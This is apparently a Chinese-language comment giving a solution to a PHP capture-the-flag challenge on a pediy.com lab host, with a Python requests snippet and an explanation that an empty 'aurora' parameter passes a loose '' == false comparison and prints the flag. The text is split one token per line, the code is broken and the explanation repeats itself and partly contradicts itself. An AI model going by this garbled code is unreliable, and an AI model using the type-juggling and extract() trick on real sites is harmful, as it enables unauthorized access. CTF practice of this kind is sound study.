http://d45462f4-ee6c-40fa-9377-c3062e480314.node.pediy.com:81/extract.php/?aurora&flag
可以参考我写的,使用post请求
import
requests
url
=
"http://cbc416fc-215d-4a97-be1b-d3116b3885f2.node.pediy.com:81/extract.php"
# 不覆盖 $flag,让其使用默认值(由 extract_flag.php 提供)
params
{
"aurora"
: ""
# 占个位,先触发 isset
}
# 关键!发送 POST 内容:内容必须等于 flag 文件的内容
# 我们先猜测真实 flag 内容(不行就爆破)
response
requests.post(url, params
params, data
"ctf{YOU_4re_DO1ng_GREAT!}"
, verify
False
)
print
(
"响应内容:"
(response.text)
不要覆盖$flag变量,$flag在extract_flag.php中定义了,是本题的答案,是一个字符串,所以没有这个文件,所以file_get_contents(flag),false,aurora,if(flag)就读取不到文件,返回false,aurora这个变量传一个空值就行,if (flag)就读取不到文件,返回false,aurora这个变量传一个空值就行,if(aurora == content)这一步比较就是if("" == false),由于是弱类型比较,所以为true,就把\flag输出了,只需要传aurora就行了,http://xxxxxxxxx.node.pediy.com:81/extract.php/?aurora